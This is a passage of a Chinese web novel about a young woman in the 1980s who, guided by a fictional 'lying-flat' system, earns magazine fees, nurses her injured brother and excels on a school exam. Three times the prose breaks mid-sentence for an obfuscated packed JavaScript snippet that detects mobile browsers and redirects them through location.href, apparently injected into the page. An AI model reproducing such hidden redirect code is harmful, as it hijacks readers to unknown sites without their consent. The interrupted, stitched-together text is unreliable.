李秀兰手里端着刚热好的剩菜落座:“我和你爸合计好了,这两处都买下来!西头那两间连着的,稍微收拾一下,粉刷粉刷,盘个炕,搭个小厨房,先租出去,每月少说能收二十块租金;另一间单着的,暂时也租着,等过两年建军真要办事了,再好好装装,当婚房!” 时墨心里有些疑惑,她原本只想着让爸妈买一间,没想到他们直接拿下两处。但转念一想,这可是八十年代的四合院,买了就是赚了,总归是好事。 时建军刚想开口说“是不是太浪费了”,就被时爱国一个眼神堵了回去。 “你小子别吭声!”时爱国瞪了他一眼,“这事我和你妈已经拍板了,就这么定了!钱的事不用你操心,我和你妈这些年攒了些积蓄够了!” 李秀兰笑道:“你就等着以后娶媳妇住新房吧!” 时建军张了张嘴,最终还是把劝说的话咽了回去, 时家买房子的事儿,就这么紧锣密鼓地办了起来。 时爱国找厂里懂行的同事帮忙看了房子,签了简单的协议,到房管所办了手续。 手续办完那天晚上,李秀兰脸上带着掩不住笑,却也难掩一丝疲惫。 时墨深夜起夜,从屋里出来喝水,却见爸妈的房间里竟透出一丝亮光。她疑惑都走过去,发现房间门没有关好,还留了一条缝。 里面时爱国和李秀兰正在床边就着灯光糊火柴盒! 昏黄的灯光下,堆着一座小山似的火柴盒半成品,李秀兰和时爱国分工合作,熟练地拿起薄薄的硬纸片,折叠、粘贴,动作快得让人眼花。 时墨愣住了。 才想起来,往常这个点,哥哥肯定在家,今天却不见踪影。 爸妈也早就该睡觉了,这会却…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126924|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时墨心里酸酸的,抿紧了唇,转身悄悄打了水回房,坐在书桌旁却心绪难平。 她突然想起,最近家里的伙食也有了细微的变化:以前每周至少有一次得炖肉,炒菜时也能见到得几片实实在在的肉,现在都变成了一周一次的肉末炒菜;早餐的鸡蛋,也从每人一个,变成了只有她和哥哥碗里有。 爸妈最近总是说:“早上没啥胃口,喝点粥、吃点咸菜就行”。 原来,家里的经济状况,比她想的要拮据得多。 现在叠火柴盒子,一个只能赚两分钱,她哥不在家,肯定不知道去哪儿倒腾活儿干,可他们却宁愿自己辛苦,也不愿让她操心。 过了一会儿,外面隐约传来说话声,时墨放轻动作起身,走到房门后,打开房门,悄悄靠近一点点时爱国夫妻俩的房间,果然就听见他们在低声说话。 “……没事,撑过这阵就好了。那房子咱也是捡便宜了,要是以后儿子结婚,儿媳妇不喜欢住平房,咱就把现在住的楼房让给他们,带着闺女回老房子住,多买的一间正好够她住。”李秀兰的声音带着疲惫,却又透着一股子韧劲,“嗐,两处房子租出去,每月能多二十来块呢,积少成多。” “唉,就是苦了你了。”时爱国的叹息沉甸甸的,“白天上班,晚上还得糊火柴盒。” “这有啥苦的?多少家妇女都干这个贴补家用。”李秀兰的声音压得更低了,“就是我得赶紧把跟李娟借的两百块还上……我是怕墨墨这孩子心思细,看出来多想,影响她复习。咱可得咬咬牙,她复读开学的钱,得提前备出来,可没两月了……” 时墨攥紧手心,心里像被什么东西堵住了,又酸又胀。 她悄悄退回房间,关上门,背靠着门板,深吸了几口气。 是她估算错了家里的经济状况,没想到买房子还借了债,爸妈的压力可想而知。他们压缩家里的生活开支,晚上加班加点做零活,不仅是为了尽快还债、尽快回本,更是为了给她攒复读的费用。 甚至……多买的那一处房子,或许也存了将来给她一份依靠的心思。 在这个绝大多数家庭资源都向儿子倾斜的年代,她的父母,却在默默地为女儿打算。 感动和愧疚交织着,像一团棉絮,堵在她的喉咙口,几乎让时墨喘不过气。 她不能再这样被动地“躺平”了,必须想办法,尽快赚到钱,减轻家里的负担,也让爸妈能稍微松口气。 淘旧货捡漏,来钱太慢,且不稳定,系统对现金流的监控也是个麻烦。 她需要一条更稳妥、更可持续,又能快速变现,又不违反系统规则的路。 正琢磨着,时墨随手拿起桌上的一本《青年文摘》,翻了几页,看到后面的“征稿启事”,眼睛瞬间亮了。 征稿内容:散文、随笔、短篇小说,字数不限,一经采用,稿费从五元到五十元不等。 稿费虽然不高,但对普通人来说也是一笔不错的额外收入。 时墨的眼睛瞬间亮了。 她脑子里装着无数经过后世市场检验的故事套路和新颖题材!对于这个文学创作正在复苏、但题材和想象力相对匮乏的年代来说,这简直是降维打击! 写作!投稿!成文豪! 10. 第 10 章 时墨说干就干,当晚就把写散文的事提上了日程,琢磨着第二天早起赶稿,把时间榨干用净。 清晨六点,天刚蒙蒙亮,窗外的槐树叶还沾着露水,家属院里静悄悄的,只有几声早起的鸟叫。 时墨睁开眼,迷瞪瞪醒了会儿神,坐起来。 正准备下床,一道刻板冰冷的机械音响起:【下班期间AI托管中,检测到宿主非自然醒时段起床,违反躺平作息守则,请立刻躺下睡觉。】 时墨翻了个白眼,无语道:“我这就是自然醒了,哪来的非自然。” 她冷哼一声,躺下继续睡,七点整,她又试着坐起身。 AI再次警告:【二次警告!单日警告超过两次,将触发随机惩罚!请宿主珍惜健康,规律生活。】 七点啊!这都日上三竿了!还叫早?狗都起来撒尿了! 时墨气得磨牙,偏不信邪。七点五十八分,她盯着床头那个旧闹钟,秒针刚跳到十二,就猛地坐起身。 就差一分钟,还能算早? 结果下一秒,一股微弱却强劲的电流窜遍全身,时墨眼前一黑,直接晕了过去。 再次睁眼时,窗外的太阳已经晒到了屁股,屋里的挂钟“当当”敲了十二下。 【宿主您醒啦!】系统小七的声音带着雀跃,【您终于学会享受自然醒的乐趣了!这次睡到中午,躺平指数满分!奖励十块!】 时墨揉着睡得发懵的脑袋,长叹一声。 “牛,牛批。” 合着这系统的“自然醒”,是按它的标准来的!早于八点起床,全算违规! 她算是彻底服了,起床洗漱,心里却憋着一股劲。 耽误了半天时间,她白天得把耽误的时间全补回来! 时墨洗漱完,吃了她妈留在锅里的饭菜后,回屋开始复习。 翻出原主的旧课本和历年高考真题,时墨坐在桌前研究了起来,她最近这段时间已经把现在的高中课本摸清了,快速整理出了一份高效冲刺计划表。 她跳过已经掌握的基础知识点,专攻难点、易错点和压轴题;语文作文总结出三套万能模板,针对不同题材灵活套用;英语则把高频语法和单词整理成小册子,利用碎片时间背诵。 无需系统帮忙,她靠自己的脑子,把复习节奏安排得明明白白。 剩下的时间,她开始大量阅读当前的流行报刊杂志,分析文风,揣摩编辑口味,然后开始进行创作。 更绝的是,她发现了系统的大漏洞——“学习”和“创作”被判定为两种不同的脑力活动,切换时单次计时会清零。 这下可算打开了新世界的大门。 时墨开始在学习和写作之间反复横跳:复习满40分钟,系统开始倒计时,她立刻提笔写稿,计时清零;写作满40分钟,再切回复习,计时又清零。 她把每天6小时的脑力劳动时间,利用到了极致,效率高得吓人。 【宿主,您这真的不是钻漏洞吗?】系统小七蹲在脑海里,看得目瞪口呆。 “规则没强制规定的,都不叫钻漏洞。”时墨笔下生风,一篇散文很快成型,“这叫科学分配时间,劳逸结合。” 系统被噎得没话说,只能眼睁睁看着她卷出天际。 复习有条不紊,稿子也一篇篇写了出来。 时墨工工整整抄在方格稿纸上,贴上八分邮票,分别投给了《青春文摘》《故事集》和《京市晚报》的副刊。 等待回音的日子里,时墨又开了个中篇狗血小说《返城知青逆袭记》,写的是知青返城后,靠着敏锐的市场嗅觉,从摆地摊开始,一步步逆袭成万元户的故事,情节跌宕起伏,爽点密集,正是当下读者喜欢的调调。 日子一晃过了半个月。 这天下午,时墨正对着稿子修改小说的高潮部分,突然听到楼下传来邮递员响亮的吆喝声:“302室时墨!有你的信!” 时墨噌地一下跳起来,趿拉着布鞋就往楼下冲,连头发散了都顾不上。 接过邮递员递来的信封快速打开,里面两张薄薄的稿费单,轻飘飘的,却像有千斤重。 《青春文摘》的散文中了,稿费十五元;《故事集》的短篇中了,稿费二十元。 加起来整整三十五元! 三十五啊!比她哥时建军一个月的工资还高! 时墨捏着稿费单,激动地冲进家门,大喊:“爸!妈!我中稿了!稿费三十五块!” 屋里,时爱国正在厨房摘菜;李秀兰坐在小马扎上,缝补着时建军磨破的工装裤;时建军刚下班,端着搪瓷盆正准备洗脸。 三人闻言,动作齐刷刷顿住。 李秀兰手里的针线“啪嗒”掉在地上,她瞪大眼,不敢置信地看着时墨手里的单子:“真……真的?墨墨你没骗妈?” 时爱国一把扔掉手里的菜,擦了擦手,从时墨手里抢过稿费单,举起凑近,反复看了三遍,那红戳子和印刷体的字迹,做不了假! “咱墨墨出息了!真成文化人了!”时爱国激动得直搓手,嗓门都大了八度,“秀兰!晚上包饺子!猪肉白菜馅的!去供销社割二斤五花肉!” 时建军擦脸的毛巾都扔了,抢过稿费单看了又看,猛地一拍大腿,差点把搪瓷盆踢翻:“我妹太牛了!这稿费比我一个月挣得还多!以后我就是文化人的哥了!让别人羡慕去!” “那我还是文化人她妈呢!” “嘿嘿。” 一家人的喜悦,差点把筒子楼的房顶掀翻。 时爱国乐呵呵地去邮局取钱,又直奔菜市场,割了二斤五花肉,买了半斤韭菜,连带着平时舍不得买的豆腐乳,都称了一斤。 晚上,时家的饺子香飘满了整个楼道。 时墨中稿赚了三十五元的消息,像长了翅膀似的,很快传遍了红星机械厂的家属院。 邻居们都炸锅了。 “老时家的闺女真厉害啊!写文章都能赚钱!这可是文化人才能干的活!” “怪不得平时看着懒懒散散的,人家那是在家憋大招呢!这叫劳逸结合,找灵感!” “四十块啊!顶我半个月工资了!真是人不可貌相!” 赞誉声中,也夹杂着酸溜溜的闲话。 隔壁的张大妈撇着嘴,跟王婶嘀咕:“哼,我看啊,指不定是抄的呢!就她那样,能写出啥好文章?” 这话刚好被端着饺子出来的李秀兰听见了。 她把饺子碗往楼道的石桌上一放,叉着腰就怼了回去:“张大妈,饭可以乱吃,话可不能乱说!我闺女的文章登在杂志上,明明白白印着名字!有本事你也抄一篇登上去,让大家伙儿开开眼!” 周围的邻居也跟着附和:“就是!人家杂志编辑又不瞎!抄的能过审?” “张大妈你就是嫉妒!见不得人家时墨有出息!” 张大妈被怼得脸一阵红一阵白,灰溜溜地回了家。 李秀兰得意地扬起下巴,招呼着邻居:“来来来,尝尝我家的猪肉白菜饺子!墨墨挣的稿费买的肉!” 时墨的名声,一下子在家属院彻底反转了。 以前说她“懒”“眼高手低”的,现在全变成了“有才华”“会劳逸结合”。 连带着时爱国老两口出门,腰杆都挺直了不少。 稿费一到手,时墨就全数交给了李秀兰。 李秀兰推拒不过,收下了,眼眶红红的:“这孩子,自己留着买点书本也好……” “妈,家里用钱的地方多。”时墨笑着说,“我还能再写,以后稿费会越来越多的。” 这笔钱,解了家里的燃眉之急。李秀兰再也不用熬夜糊火柴盒子了,时建军的工装裤,也终于能换上一条新的。 时墨趁热打铁,又写了几篇散文和短篇,投给了不同的刊物。那篇《返城知青逆袭记》也写完了前十章,投给了《故事集》的连载栏目,编辑很快回信,说稿子很受欢迎,决定连载,千字十元,每期稿费三十元。 转眼到了开学提前报到的日子。 时墨拿着学费去报到,家里的钱又紧张了些。 时爱国和李秀兰一合计,老房子那两间空屋子,不如趁现在天气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126925|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,简单装一下——盘个土炕,搭个小厨房,再刷一遍墙,这样租金能从每月八块涨到十五块,积少成多也是一笔收入。 时建军主动揽下了活儿:“爸,我周末没事,咱俩一起弄,能省不少工钱。” 现在的人都讲究自己动手丰衣足食。时爱国一口答应:“行!咱俩搭伙干,快得很!” 周六一大早,父子俩就带着锤子、锯子和水泥,蹬着二八杠去了老城区的四合院。 临走前,李秀兰反复叮嘱:“小心点!别爬高上低的!干不完就下次再干!” “放心!” 十点来钟,时墨在外面溜达完,刚进家属院,就被隔壁的王婶一把拉住:“墨墨!不好了!你哥和你爸在老房子干活,从房顶上摔下来了!送市医院了!你妈已经赶过去了,让我告诉你一声!” 时墨的脑袋“嗡”的一声,血液瞬间冲上头顶。她顾不上多想,拔腿就往市医院的方向冲,跑得鞋子都快掉了。 市医院的走廊里,人来人往,弥漫着消毒水的味道。 时墨一眼就看到了蹲在墙角的时爱国。 他的工装裤上沾着灰土和水泥,胳膊上缠着一圈纱布,脸上还有几道擦伤,头发乱糟糟的,正焦急地往诊室里张望。 “爸!”时墨冲过去,声音都在抖,“你怎么样?我哥呢?” “我没事!就蹭破点皮,扭了下胳膊!”时爱国急忙拉住她,声音沙哑,“你哥……你哥他爬房顶铺油毡,脚滑摔下来了。万幸啊,今儿多亏了小谢同志!他正好路过,伸手拦了你哥一把,不然你哥的腿,怕是要摔断了!” 小谢同志?谢时昀? 时墨顺着父亲的目光看去。 诊室门口的墙边,靠着一个熟悉的身影。 谢时昀穿着一件干净的白衬衫,左边胳膊用绷带吊在胸前,袖子上沾着尘土和点点血迹,脸色有些苍白,但眼神依旧清明。 他看到时墨,微微颔首,嘴角扯出一抹浅淡的笑意。 就在这时,诊室的门开了。 医生走出来,摘下口罩,李秀兰立刻扑上去,声音带着哭腔:“大夫!我儿子怎么样?他的腿没事吧?” “左小腿骨裂,已经打上石膏了。”医生说,“万幸没有伤到要害,住院观察几天,回家休养三个月就好了,胳膊上的擦伤消消毒就行。你去办一下住院手续吧。” “谢谢大夫!谢谢大夫!”李秀兰捂着胸口,长长地松了口气,眼泪却忍不住掉了下来,“人没事就好,可吓死我了。” 时墨这才松了口气,快步走到谢时昀面前,郑重道谢:“谢同志,谢谢你救了我哥。你的胳膊……严重吗?” “小伤,不碍事。”谢时昀摆摆手,语气依旧温和,“我今天去老城区调研,路过那边,听到动静就过去看看,碰巧赶上了。” 碰巧? 时墨心里打了个问号。世上哪有这么多碰巧? 但此刻,她心里满是感激,也顾不上深究,只认真地说:“医药费我们家出,你千万别客气。这次真是多谢你了。” “不用。”谢时昀打断她,目光落在她泛红的眼眶上,声音柔和了几分,“你先去照顾你哥吧,我这边自己处理就好。” 这时,时爱国和李秀兰办完手续出来,看到谢时昀,赶紧走过去,拉着他没受伤的手,千恩万谢。 “小谢同志,今天真是多亏了你啊!你这伤……真是让我们过意不去!” “是啊是啊!晚上去我家吃饭!阿姨给你炖鸡汤补补!” “叔叔阿姨别客气。”谢时昀态度谦和道,“我先去处理一下伤口,一会儿再过来看看建军同志。” 时爱国赶紧推了推时墨:“墨墨,你跟着小谢同志,帮衬着点,他一只手不方便。” 时墨点点头,快步追上了谢时昀的脚步。 阳光透过医院的窗户,落在两人的身上,拉出两道长长的影子。 一场意外,让原本疏离的两人,再次有了交集。 而时墨不知道的是,谢时昀的“路过”,从来都不是巧合。 11. 第 11 章 医院走廊里消毒水的气味有些刺鼻。 时墨跟在谢时昀身后半步远的地方,看着他挺直的背影和那只吊在胸前的手臂,好心上前询问:“你要买药?我帮你去柜台问。” 谢时昀笑笑:“不是,我去打个电话。” “好。”时墨站到一旁,“有事叫我。” 谢时昀走到医院走廊的电话亭前,拨了一串号码,电话接通后,简短地说了几句,声音低沉,听不真切。 挂断后,他嘴角噙着浅淡的笑意对时墨说:“我让人来接我。你去照顾你哥吧,不用陪我。” “他那儿有我爸妈在,我看你上车。”时墨坚持。 谢时昀看了她一眼,没再拒绝。 两人一起走到医院门口,傍晚的风带着凉意吹来,时墨缩了缩肩膀。谢时昀不着痕迹地侧了侧身,挡在了风吹来的方向。 没过多久,一辆黑色轿车停在医院门口。 司机下车,看到谢时昀吊着的手臂,脸上露出担忧:“谢先生,您……” “没事,一点小伤。”谢时昀打断他,转头对时墨说,“我先走了。你哥那边需要什么帮助,随时可以找我。” 他的态度坦荡自然,没有趁机拉近距离的刻意,反而让时墨感觉轻松。她点点头:“好的,今天谢谢你了谢同志。路上注意安全。” 谢时昀颔首,坐进车里。 车窗缓缓升起,隔断了他看向时墨的视线。车子平稳地驶离,很快消失在街角。 时墨站在原地,直到车子看不见了,才转身回去。 回到病房时,时建军靠在床头,脸色还有些苍白,但精神看起来还行。 李秀兰正用湿毛巾给他擦脸,时爱国蹲在床边,皱着眉查看儿子腿上的石膏,听到开门动静,看到时墨回来。 时爱国问道:“小谢同志走了?” “嗯,有人来接他了,我看着他上车的。”时墨走过去,皱眉道,“爸,你的胳膊真没事?要不要也让医生看看,别不当回事,再落下什么毛病” “没事,就扭了一下,回家揉点红花油,用不了几天就好了。”时爱国摆摆手,不在意道。 “怎么不是大事!”李秀兰嗔怪地瞪了他一眼,伸手想碰他的胳膊,又怕弄疼了,“你年纪不小了,干活还这么毛躁,爬房顶也不知道小心点!临走前儿我还提醒你,让你们小心点,你也不当回事!” 李秀兰嘴上抱怨着,眼里却满是心疼:“以后可再不能这样了,该请人就请人!” “我咋不专业,以前我……” 眼看父母又要开始互相责备和心疼,时墨连忙走过去,岔开话题道:“爸,妈,你们累了一天了,先回家休息吧。这里有我照顾哥就行,爸,你那胳膊回去赶紧上点药,不然越拖越疼。” “这哪行?你一个小姑娘家,在医院照顾人多不方便。”李秀兰立刻反对道。 “有啥不方便的?”时墨笑道,“哥他就是腿骨裂,又不是不能动,我看着他就行。你和我爸回去好好歇着,明天再过来换我。”她转头看向时建军,“哥,你不会嫌弃我照顾得不周吧?” 时建军连忙摇头:“哪能啊!妹你照顾我,我可求之不得!爸,妈,你们就听墨墨的,回去吧,这里有她呢。” 时爱国两口子架不住儿女劝说,最终还是同意了。 李秀兰从布包里掏出五块钱,塞到时墨手里:“晚上给你哥买点好的补补身子,可别舍不得花钱啊,妈这儿有钱。” “知道啦妈!”时墨把钱收好,送两人出病房,夫妻俩又叮嘱了半天,才一步三回头地离开。 时墨刚回来坐下,时建军就不好意思道:“墨墨,今晚得麻烦你了。” “自家兄妹,说什么麻烦。你再多说我就生气了啊。”时墨给他倒了杯水,“饿不饿?我去买点饭回来。” “别去外面买了,贵。”时建军连忙说,“医院食堂的饭菜就行。” “哥,你现在是伤员,得吃点好的。”时墨不由分说,“再说了,我手里有稿费,请我哥吃顿好的怎么了?” 时建军被时墨逗笑了,没再坚持。 这时,系统蹦了出来:【宿主,照顾病人属于额外体力劳动,不符合躺平准则……不过念在是紧急情况,我帮您盯着时长,可得注意,该休息就休息!】 时墨心里一暖,难得没怼它:【知道了,谢了小七。】 【不用谢!在规则下,咱也是有原则的系统!】小七的声音带着点小得意。 时墨被逗乐,反问道:【不在规则下呢?】 系统傲娇地哼哼两声:【那当然以宿主原则为原则了!】 【好样的!小七,你已经是个成熟的系统了!给你鼓掌!】时墨给足了情绪价值。 系统嘿嘿几声安静了。 时墨去医院的食堂打了饭菜,两荤一素,还特意买了碗骨头汤。兄妹俩在病房里安静地吃饭。时建军看只有一碗骨头汤,心里过意不去,非要把汤分她一半,时墨拗不过他,只能分着喝了。 夜深了,病房里只剩下两人的呼吸声。 时建军睡着了,时墨坐在床边的椅子上,借着窗外透进来的月光,看着哥哥打着石膏的腿,心里五味杂陈。 前世她从未体会过这样的手足之情,这一世,父母和哥哥的疼爱,都让她倍感珍惜。 可也正是这份珍惜,让时墨心里赚钱的紧迫感复苏起来,如果家里有充足的钱,爸爸和哥哥就不会想着自己动手装修老房子省钱,今天的意外完全不会发生。 是她被安逸腐蚀了,觉得慢慢写稿、慢慢积累就好,攒一笔钱后再找可投资的项目。 但现在看来,明天和意外不知道哪个先来。 而钱,是抵御风险最直接的盾牌。 担心今天会有意外发生的系统第一次没有下班,而是选择加班,默默陪在时墨身边。 察觉到她情绪异样后,主动提议道:【宿主,您存在我这里的钱,要不要拿出来一部分?】 时墨摇了摇头:【不用。这笔钱现在拿出来太突兀,我爸妈肯定会追问来源,不好解释。而且,这笔钱我另有打算,况且,现在家里还没困难到那个地步。】 【好吧。】系统叹了口气,【那您也别太着急,慢慢来。】 时墨这才注意到系统还没有下班:【小七,你怎么还没下班?】 系统如实回答:【我担心您呀,我得盯着点,不然你该被警告了。】 时墨内心瞬间柔软:【那你加班有没有加班费?】 【自愿加班都没有。】系统轻松道,【没关系哒,我不需要睡觉,宿主您睡吧,有我盯着,放一百个心吧!】 【好!】时墨没有多说其他,【从我钱里划出你的加班费。】 【不用不用,上次给的零花钱还没花完呢。】 【你这花钱速度不行啊。】 【宿主,您的钱不能乱花。】 【啧,你那点小钱我还是出的起的。】 【好哦。】 * 时建军住院观察了三天,骨头对位良好,没有其他问题,医生批准出院回家静养。 时墨也迎来了复读学校的开学。 开学前一天,时墨特意找系统挑明:【小七,有件事需要你帮忙。】 【宿主请说!】系统现在和宿主关系亲密,很是积极。 “你去申请修改一下我的生物钟设定。”时墨拿出一张纸,上面是高三开学的课业,“明天开学后,我得按照国家规定和学校要求来严格执行。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126926|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每天早上六点起床洗漱吃饭,七点到校早自习,晚上五点半放学,还有晚自习要上到八点半,只有周日休息。” 系统听完,电子音瞬间卡顿:【什……什么?!六点起床?晚上八点半才结束?!这、这完全违背躺平准则啊!】 系统急的要跳起来:【每天学习时间超过12小时!宿主,你这是要卷死自己吗?!这哪是躺平,这是拼命啊!绝对不行!】 【我这也是没办法嘛!】时墨早有准备,语气循循善诱,【你看,我现在是高三学生,在国内,所有高三学生都是这个作息,这是国家教育体制和当前社会国情决定的。我作为其中一员,无法反抗,也无法脱离。】 【而且,这只是暂时的,高三只有一年。只要脱离学校环境,比如周日,我保证严格遵守躺平规则,好好休息,绝对不学习!】 【你想想,如果我因为不遵守学校作息被开除,以我家现在的条件,我以后可能就要被迫从事更繁重的体力劳动来谋生,那岂不是离‘躺平’更远了?暂时的‘合规性劳累’,是为了长久的‘可持续躺平’啊!】 系统被她一番话说得有点懵,逻辑似乎有点道理,但总觉得哪里不对。 【可是……这严重超标了……上司不会同意的……】 【所以需要你去申请特殊备案啊!】时墨趁热打铁:【你就说,这是宿主在当前时空背景下,为了最终实现‘安稳躺平’人生目标,必须经历的一段‘合规过渡期’。只要通过,我保证离校期间严格遵守系统规则!而且,你看我最近多配合?这说明我们的合作前景是光明的!】 系统觉得时墨说的很有道理,答应了:【为了终极目标!我去申请一下。宿主你保证周日绝对躺平?】 【我保证!】时墨举手发誓。 系统嘀嘀咕咕地消失了。 过了大约半个小时才回来,声音带着劫后余生的庆幸:【申请通过了!上司说特殊时期特殊对待,但周日必须严格执行躺平制度,要是发现你周日有任何学习或劳动,不仅扣我奖金,还得惩罚你,并取消本次特批!】 【辛苦你了,小七。我保证守规矩!】 【宿主的嘴,骗人的鬼。】 时墨笑笑没反驳,她现在可是拥有考进首都顶尖学府的机会,不拼一把,怎么对得起自己? * 开学第一天。 时墨刚走到高三(2)班教室外的走廊,就听见里面同学们热闹的讨论中,突然出现自己的名字,时墨觉得有趣,没有立刻走进教室。 “听说了吗?咱们班要来个复读生,就是那个长得特漂亮的时墨!” “我见过她,确实长得扎眼,她来咱们班复读真的假的?” “我还能骗你咋地,之前报道我看见她了,绝对不会认错!” “我看啊,就是个绣花枕头,中看不中用!与其在这儿浪费时间复读,不如早点找个好人家嫁了,省得浪费家里的钱!” “我倒觉得挺好,班里有个养眼的,上课都有精神了!” 一个男生的声音格外响亮,带着几分不屑,他背对着门口,正唾沫横飞地跟同桌吐槽:“听说她高考离本科线还差一截呢,咱们班好歹是年级第二的重点班,她来不是拖后腿吗?” “可不是嘛……”同桌刚要附和,眼角余光却瞥见了站在门口的时墨,瞬间像被掐住了脖子,声音戛然而止。 男生还没察觉,依旧侃侃而谈:“就她那成绩,估计摸底考都得垫底,到时候咱班的平均分都得被她拉低……” 话音未落,身后突然传来一个清越的女声,带着几分玩味的笑意:“同学,你说得太对了。” 男生完全没意识到声音来源,还用力点头,赞同道:“就是嘛!她自己应该也有点数……” 12. 第 12 章 男生一愣,猛地回头,对上时墨那双含着淡淡笑意的眼睛,瞬间石化。 男生的脸“唰”地一下红透了,从脸颊红到耳根,结结巴巴:“你、你……时、时墨……” 周围的同学也都愣住了,刚才还叽叽喳喳的教室,瞬间安静得落针可闻。有人忍不住憋笑,肩膀微微耸动,却不敢发出声音。 时墨却没看他,反而笑眯眯地点头,顺着他的话往下说:“我也觉得我去年考得稀烂,拖后腿这事我也挺怕的。要不你等会儿帮我跟王老师申请调班?省得影响咱们班的平均分。” 这话一出,全班同学都忍不住了,低低的笑声此起彼伏。 男生的脸更红了,恨不得找个地缝钻进去,结结巴巴地辩解:“我……我不是那个意思……” “哦?那你是什么意思?”时墨挑眉,眼神清亮,带着几分戏谑。 男生手足无措之际,时墨直起身,环视一圈表情各异的同学,微微颔首,自然道:“大家好,我是时墨,未来一年请多指教。” 说完,她目光扫过墙上的座位名单,径直走向靠窗的最后一个空位,放下书包,动作利落地整理好桌面。 教室里安静得只剩下她整理书本的窸窣声。 直到上课铃响起,这份尴尬的寂静才被打破。 没过多久,班主任王老师——一位以严厉和不苟言笑著称的中年男人,抱着一摞试卷走了进来。 他往讲台上一站,原本还有些窃窃私语的教室瞬间鸦雀无声。 王老师板着脸,将手里的一摞试卷往讲台上重重一放,开门见山:“新学期新气象,废话不多说!今天先进行摸底测试,让我看看你们暑假是不是把知识就着饭吃了。” 试卷发下来,教室里立刻响起了笔尖划过纸张的沙沙声。 时墨拿到卷子,扫了一眼卷面,心里顿时有了底。 题目难度不低,还有几道题设置了陷阱,但对经历过题海战术、又梳理过八十年代高考题型的时墨而言,脉络清晰得如同掌中纹路。 她唇角几不可察地弯了一下,提笔便写。 选择题,秒答。 填空题,心算即出。 解答题,步骤简洁,逻辑环环相扣。 大部分同学还在为前三道大题绞尽脑汁,抓耳挠腮时,时墨已经翻到了最后一页的压轴题。 她略微沉吟片刻,提笔写下两种截然不同的解法,步骤清晰,卷面整洁,字迹工整,一眼看去赏心悦目。 时墨放下笔,抬头看了眼墙上的挂钟——才过去半小时。 她拿起卷子,在满室埋头苦写的背影中,起身走向讲台,将试卷轻轻放在讲台上:“王老师,我答完了,交卷。” 这一动静,立刻吸引了全班的目光。 “这才多久啊?她就写完了? “不会是写不出来,交白卷吧?” “肯定是!才半小时,怎么可能写完?” 李刚偷偷抬起头,看到时墨的动作,忍不住跟同桌低语,语气里满是幸灾乐祸:“看,原形毕露了吧?肯定是一道题都不会,懒得耗时间了!” 他的声音不大,却刚好能让周围的同学听见。 就在这时,王老师冷厉的目光扫了过来:“李刚!还有你旁边的!交头接耳,当我看不见是吗?!” 李刚吓得一激灵,赶紧闭上嘴。 王老师训完学生,看向时墨,提醒道:“时墨,距离交卷还有五十分钟,你确定交卷?” “确定。”时墨点头,声音平静。 “哗——” 教室里瞬间炸开了锅! “交卷?她疯了?” “肯定是瞎写的!蒙都蒙不完吧!” “我就说吧,她是绣花枕头,都破罐子破摔了!” 王老师目光扫过议论最凶的几个学生,指着门口厉声道:“李刚!还有你们两个,现在立刻给我出去!试卷没收!这次摸底考,你们三个零分!” 李刚和另外两个同学的脸瞬间白了,他们难以置信地看着王老师:“老师……我们……” “少废话!立刻出去!”王老师根本不给他们狡辩的机会。 三人只能垂头丧气地站起来,灰溜溜地走出教室,路过时墨身边时,李刚的眼神里满是怨怼,却不敢多说一个字。 赶走了不遵守纪录的学生,教室里终于安静下来。 王老师拿起时墨的试卷,本想随手搁到一边,眼角的余光却瞥见了卷面上写得满满当当、整洁清晰的答案。 他愣了一下,出于责任心,拿起红笔,耐着性子从第一道选择题开始批阅。 对。 对。 还是对。 选择题,全对! 王老师被震惊到,批阅的速度慢了下来,脸上的不耐渐渐被惊讶取代。 填空题,全对! 解答题,更是步骤清晰,逻辑严密,答案分毫不差! 更让他吃惊的是,时墨不仅用了标准解法,还在关键步骤旁用更简洁的思路进行了标注。 最后那道压轴题,她甚至给出了两种解法,其中一种巧妙得让他都忍不住在心里叫好。 他的背脊不知不觉挺直了,眼神越来越亮。 最后一道压轴题,解题过程完美,他额外加了两分。 整张卷面,红勾遍布,最终得分:122分! “好!”王老师猛地一拍讲台,声音洪亮,带着难以抑制的激动,“答得太漂亮了!” 这一声,如同惊雷,让整个教室瞬间鸦雀无声。 所有人都停下了笔,目瞪口呆地望向讲台。 王老师拿起时墨的试卷,展示般的对着全班同学晃了晃,语气是前所未有的惊喜:“时墨同学的这份摸底卷,思路清晰,方法巧妙,整张试卷全对!最后一题因还写了两种解法,多了2分附加分!总分122分!这成绩,放在重点班也是拔尖!” 轰! 教室彻底沸腾了! “多少?122?!我没听错吧?” “我的天……我连一半还没做完……” 